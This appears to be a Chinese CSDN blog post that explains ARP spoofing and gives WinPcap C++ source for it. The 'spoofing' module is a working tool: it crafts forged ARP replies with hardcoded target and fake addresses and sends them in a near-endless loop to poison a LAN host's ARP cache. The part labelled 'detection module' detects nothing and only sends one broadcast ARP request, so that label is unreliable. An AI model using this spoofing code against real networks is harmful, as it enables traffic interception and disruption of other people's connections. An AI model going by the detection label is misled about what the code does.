ARP欺骗/检测 C++源程序

最新推荐文章于 2024-06-20 00:01:23 发布
置顶 最新推荐文章于 2024-06-20 00:01:23 发布
阅读量3.5k 收藏 24
点赞数 3
分类专栏： 信息安全 计算机网络 文章标签： ARP 计算机网络 MAC
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_16635277/article/details/84878613
版权

ARP欺骗/检测 C++源程序

基于 WinPcap 的编程环境下实现

winpcap(windows packet capture) 是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它用于windows系统下的直接的网络编程。选用它是为了快速的实现ARP欺骗及防御功能，因为winpcap 提供的demo里面有获取可用网卡列表代码，发送一些报文的代码等非常实用的已经实现好的模块。

原理

欺骗主要是通过发送伪造的ARP报文给目标主机，把目标主机的ARP缓存列表更新成错误的IP-MAC映射。

如果你想深入了解的话需要了解一下几段：

在这里插入图片描述

ARP帧是封装到一个MAC帧通过广播发送到局域网的。ARP镇的格式需要大家了解一下，ARP报文主要分两种。一种是ARP请求，另一种是ARP应答。
欺骗是无缘无故的给人家发送ARP帧，帧的内容用来欺骗的IP-MAP映射。

欺骗（gongji）模块源码

#include "pcap.h"
#include "stdio.h"

#pragma comment(lib,"ws2_32.lib")

#define ETH_ARP         0x0806  //以太网帧类型表示后面数据的类型，对于ARP请求或应答来说，该字段的值为x0806
#define ARP_HARDWARE    1  //硬件类型字段值为表示以太网地址
#define ETH_IP          0x0800  //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST     1   //ARP请求
#define ARP_RESPONSE       2      //ARP应答

//14字节以太网首部
struct EthernetHeader
{
	unsigned char DestMAC[6];    //目的MAC地址 6字节
	//unsigned char DestMAC[] = ;    //目的MAC地址 6字节
	unsigned char SourMAC[6];   //源MAC地址 6字节
	unsigned short EthType;         //上一层协议类型，如0x0800代表上一层是IP协议，0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型，ARP请求（1），ARP应答（2），RARP请求（3），RARP应答（4）。
	unsigned char smac[6];   //源MAC地址
	unsigned char sip[4];   //源IP地址
	unsigned char dmac[6];   //目的MAC地址
	unsigned char dip[4];   //目的IP地址
};

//定义整个arp报文包，总长度42字节
typedef struct EthernetHeader EthernetHeader;
typedef struct ArpHeader ArpHeader;
struct ArpPacket {
	EthernetHeader ed;
	ArpHeader ah;
};


int main()
{
	pcap_if_t *alldevs;   //所有网络适配器
	pcap_if_t *d;   //选中的网络适配器 
	int inum;   //选择网络适配器
	int i = 0;   //for循环变量
	pcap_t *adhandle;   //打开网络适配器，捕捉实例,是pcap_open返回的对象
	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256
	
									 /* 获取本机设备列表 */
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/* 打印列表 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}

	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}

	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);

	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/* 跳转到选中的适配器 */
	for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

	/* 打开设备 */
	if ((adhandle = pcap_open(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		1000,             // 读取超时时间
		NULL,             // 远程机器验证
		errbuf            // 错误缓冲池
	)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/*以上代码在WinPcap开发文档中都可以找到，填充ARP包的代码则要自己编写*/

	//开始填充ARP包，填充数据写死在代码中，测试用时数据可随意填写
	unsigned char sendbuf[42]; //arp包结构大小，42个字节
	//unsigned char mac[6] = { 0x00,0x11,0x22,0x33,0x44,0x55 };
	//unsigned char mac[6] = { 0x12,0x34,0x56,0x78,0x9a,0xff };
	unsigned char mac_broadcast[6]	 = { 0xff,0xff,0xff,0xff,0xff,0xff };
	unsigned char mac_local[6]		 = { 0x12,0x34,0x56,0x78,0x9a,0xff };
	unsigned char mac_dest[6] = { 0x7c,0xdd,0x90,0xff,0xcb,0x17 };
	//unsigned char mac_dest[6] = { 0x28,0xc2,0xdd,0x35,0x78,0x47 };
	//unsigned char mac_dest[6] = { 0x34,0x68,0x95,0x91,0x70,0xd7 };
	//0C-4B-54-91-D1-6E 192.168.1.1
	//unsigned char mac_dest[6] = { 0x0C,0x4B,0x54,0x91,0xD1,0x6E };
	unsigned char mac_fake[6]		 = { 0xAA,0xBB,0xCC,0xDD,0xEE,0xFF };

	unsigned char ip_loacal[4]		 = { 192,168,1,105 };
	//unsigned char ip_dest[4] = { 192,168,1,100 };
	unsigned char ip_dest[4] = { 192,168,1,117 };
	unsigned char ip_fake[4]		 = { 192,168,1,108 };

	




	//unsigned char mac[6] = { 0x15,0x95,0x84,0x91,0x98,0x00 };

	//unsigned char mac2[6] = { 0x15,0x95,0x84,0x91,0x98,0x00 };
	//unsigned char ip[4] = { 0x01,0x02,0x03,0x04 };
	//unsigned char ip[4] = { 192,168,1,103 };

	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	
	//memset(eh.DestMAC, 0xff, 6);   //以太网首部目的MAC地址，全为广播地址

	for (int i = 0; i < 6; i++)
	{
		eh.DestMAC[i] = mac_dest[i];
		eh.SourMAC[i] = mac_local[i];

		ah.dmac[i] = mac_dest[i];
		ah.smac[i] = mac_fake[i];
		//ah.smac[i] = mac_local[i];
		
		if (i < 4)
		{
			ah.dip[i] = ip_dest[i];
			ah.sip[i] = ip_fake[i];
			//ah.sip[i] = ip_loacal[i];
		}
	}
	eh.EthType = htons(ETH_ARP);   //htons：将主机的无符号短整形数转换成网络字节顺序
	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	//ah.op = htons(ARP_REQUEST);
	ah.op = htons(ARP_RESPONSE);

	//memcpy(eh.SourMAC, mac, 6);   //以太网首部源MAC地址
	//memcpy(ah.smac, mac2, 6);   //ARP字段源MAC地址
	//memset(ah.dmac, 0xff, 6);   //ARP字段目的MAC地址
	//for (int i = 0; i < 6; i++)
	//{
	//	//ah.dmac[i] = mac[i];
	//	ah.smac[i] = mac2[i];
	//}
	//memcpy(ah.sip, ip, 4);   //ARP字段源IP地址
	//memset(ah.dip, 0x05, 4);   //ARP字段目的IP地址
	//ah.dip[0] = 192; ah.dip[1] = 168; ah.dip[2] = 1; ah.dip[3] = 100;
	//ah.sip[0] = 192; ah.sip[1] = 168; ah.sip[2] = 1; ah.sip[3] = 105;
	

	//printf();
	//构造一个ARP请求
	for (int _i = 0; _i < 10e10; _i++)
	{
		memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
		memcpy(sendbuf, &eh, sizeof(eh));
		memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

		

		//如果发送成功

		if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
			printf("\nPacketSend succeed\n");
		}
		else {
			printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
		}
	}

	/* 释放设备列表 */
	pcap_freealldevs(alldevs);

	return 0;
}

检测模块源码

#include "stdafx.h"

#include <pcap.h>

#define ETH_ARP         0x0806  //以太网帧类型表示后面数据的类型，对于ARP请求或应答来说，该字段的值为x0806
#define ARP_HARDWARE    1  //硬件类型字段值为表示以太网地址
#define ETH_IP          0x0800  //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST     1   //ARP请求
#define ARP_RESPONSE       2      //ARP应答

//14字节以太网首部
struct EthernetHeader
{
	u_char DestMAC[6];    //目的MAC地址 6字节
	u_char SourMAC[6];   //源MAC地址 6字节
	u_short EthType;         //上一层协议类型，如0x0800代表上一层是IP协议，0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型，ARP请求（1），ARP应答（2），RARP请求（3），RARP应答（4）。
	u_char smac[6];   //源MAC地址
	u_char sip[4];   //源IP地址
	u_char dmac[6];   //目的MAC地址
	u_char dip[4];   //目的IP地址
};

//定义整个arp报文包，总长度42字节
struct ArpPacket {
	EthernetHeader ed;
	ArpHeader ah;
};


int main()
{
	pcap_if_t *alldevs;   //所有网络适配器
	pcap_if_t *d;   //选中的网络适配器 
	int inum;   //选择网络适配器
	int i = 0;   //for循环变量
	pcap_t *adhandle;   //打开网络适配器，捕捉实例,是pcap_open返回的对象
	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256

									 /* 获取本机设备列表 */
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/* 打印列表 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}

	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}

	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);

	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/* 跳转到选中的适配器 */
	for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

	/* 打开设备 */
	if ((adhandle = pcap_open(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		1000,             // 读取超时时间
		NULL,             // 远程机器验证
		errbuf            // 错误缓冲池
	)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/*以上代码在WinPcap开发文档中都可以找到，填充ARP包的代码则要自己编写*/

	//开始填充ARP包，填充数据写死在代码中，测试用时数据可随意填写
	unsigned char sendbuf[42]; //arp包结构大小，42个字节
	unsigned char mac[6] = { 0x00,0x11,0x22,0x33,0x44,0x55 };
	unsigned char ip[4] = { 0x01,0x02,0x03,0x04 };
	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	memset(eh.DestMAC, 0xff, 6);   //以太网首部目的MAC地址，全为广播地址
	memcpy(eh.SourMAC, mac, 6);   //以太网首部源MAC地址
	memcpy(ah.smac, mac, 6);   //ARP字段源MAC地址
	memset(ah.dmac, 0xff, 6);   //ARP字段目的MAC地址
	memcpy(ah.sip, ip, 4);   //ARP字段源IP地址
	memset(ah.dip, 0x05, 4);   //ARP字段目的IP地址
	eh.EthType = htons(ETH_ARP);   //htons：将主机的无符号短整形数转换成网络字节顺序
	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	ah.op = htons(ARP_REQUEST);

	//构造一个ARP请求
	memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
	memcpy(sendbuf, &eh, sizeof(eh));
	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
	//如果发送成功
	if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
		printf("\nPacketSend succeed\n");
	}
	else {
		printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
	}

	/* 释放设备列表 */
	pcap_freealldevs(alldevs);

	return 0;
}

尊重版权是一种美德? by nrxsh

nrxsh
关注
专栏目录
arp欺骗C++实现
10-15
arp欺骗原理及实现 用c++实现 无界面控制台程序
arp欺骗小工具，C++编写
08-15
自己编写的C++小程序，输入源主机、目的主机MAC和IP地址伪造ARP包进行欺骗
学习笔记——C++实现ARP欺骗
Think88666的博客
01-31 2503
以下代码大体上是没有问题的,可以根据自己的一些需求进行修改! 谢谢指正错误 在课设期间，从网上学习了简单的实现ARP欺骗 ARP欺骗的原理很简单：通过不断的向目标发送ARP包，致使目标主机的ARP缓存表中正确的IP映射的是错误的MAC地址 在书上的介绍中，采用了WinPcap的开发包，这样很方便的对网卡进行操作 所以，首先需要安装winpacp，并下载开发者包https://www......
揭秘 ARP 欺骗：了解、检测和预防网络入侵
最新发布
aihua002的博客
06-20 1066
在错综复杂的网络安全环境中，一种经常潜伏在阴影中的威胁是 ARP 欺骗，这是恶意行为者用来破坏数据传输完整性的一种技术。这篇文章旨在阐明 ARP 协议，深入研究 ARP 欺骗的机制，探索其目的和后果，并讨论有效的预防措施。ARP 欺骗，也称为 ARP 中毒，是一种恶意技术，攻击者发送伪造的 ARP 消息，将其 MAC 地址与网络上合法设备的 IP 地址相关联。Scapy 是一个强大的基于 Python 的工具，它允许创建、操作和发送自定义网络数据包，包括用于欺骗的 ARP 数据包。
c++写的 arp 探测程序
11-19
南开大学 网络作业 arp 探测 C++语言的 控制台程序 双线程
在Visual Studio上使用C++语言基于WinPcap驱动的ARP欺骗攻击
qq_42012288的博客
08-01 1291
该篇文章仅仅用来了解ARP欺骗攻击的相关知识，用于学习。
visual c++源码 对指定的IP地址进行ARP欺骗SpoofArp,造成IP地址冲突
04-25
标题中的“Visual C++源码 对指定的IP地址进行ARP欺骗SpoofArp,造成IP地址冲突”涉及到了网络通信中的ARP（Address Resolution Protocol）协议和ARP欺骗技术。 ARP是TCP/IP协议栈中的一个关键部分，它用于在局域网...
黑客安全编程之自己编程实现ARP欺骗工具（附详细代码）.pdf
11-25
在实现ARP欺骗的程序中，我们会故意将源IP地址伪装成网关的IP地址，而源MAC地址则使用攻击者机器的MAC地址。接收方的MAC地址和IP地址则分别设置为目标主机的MAC地址和IP地址。操作码字段设置为0x0002，表示这是一个...
arpSpoofing.rar_arpspoofing_arp网关欺骗
07-13
至于压缩包内的“arpSpoofing”文件，可能是源代码、可执行文件或者相关文档，详细解释了如何编译、运行和理解这个ARP欺骗程序。在VS2010下编译并通过，意味着这个程序兼容Microsoft Visual Studio 2010开发环境，这...
ARP欺骗程序
03-19
在提供的文件`ARP.cpp`中，可能包含了实现ARP欺骗程序的C++代码。学习这个代码可以帮助你理解ARP欺骗的原理，并了解如何编写程序来模拟这种攻击。但请记住，正如描述中所提醒的，应当谨慎对待此类技术，确保遵循合法...
C++解析ARP数据包（可选网卡）
retravel的专栏
12-18 3165
转自王柏元的博客C++解析ARP数据包（可选网卡）：http://wangbaiyuan.cn/c-resolution-arp-packets.html 在网络通讯时，源主机的应用程序知道目的主机的IP地址和端口号，却不知道目的主机的硬件地址，而数据包首先是被网卡接收到再去处理上层协议的，如果接收到的数据包的硬件地址与本机不符，则直接丢弃。因此在通讯前必须获得目的主机的硬件地址。ARP协议
c++编写的arp程序
05-06
c++编写的arp程序，……………………………………………………………………
用C++实现的对网络上的ARP数据包进行解析
05-22
本课程设计的目的是设计一个系统，它能够实现对网络上的ARP数据包的解析，从而熟悉ARP数据包的结构，对ARP协议有更好的理解和认识。了解并熟悉Microsoft Visual C++ 6.0开发环境的使用，在该软件平台上进行工程的建立和程序开发，理解和掌握C++语言的程序设计和针对一些常用的网络协议的编程。
C语言实现ARP攻击
03-21
利用C语言实现ARP攻击，完成了断开目标网络以及接受并转发目标流量的功能
C++环境下发送ARP包
02-07
C++环境下发送arp包的例子，可以获取各个IP的MAC地址。 C++环境下发送arp包的例子，可以获取各个IP的MAC地址。
用C++写的ARP局域网扫描器
12-18
可以用来判断局域网内的主机是否开机，如果是开机的，便得知对方的MAC地址，用来学习ARP协议还是挺不错的。
用c++写的简单的arp欺骗检测工具
wangluozhangleilei的专栏
07-25 2066
[hide]原理： 需要将网关ip地址写入gateway.ini，第一次运行的时候自动生成mac.ini文件，保存网关原始的mac地址，每两秒钟自动获取一次网关ip跟原始的mac做对比，不对则提示。 对于c++操作ini文件的还是没搞定，用了两个配置文件。   主要代码如下：     #include
C/C++ Npcap包实现ARP欺骗
CSDN
08-18 5619
npcap 是Nmap自带的一个数据包处理工具，Nmap底层就是使用这个包进行收发包的，该库，是可以进行二次开发的，不过使用C语言开发费劲，在进行渗透任务时，还是使用Python构建数据包高效，唯一的区别是使用Python的库，可以节约我们寻找数据包结构的时间.
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值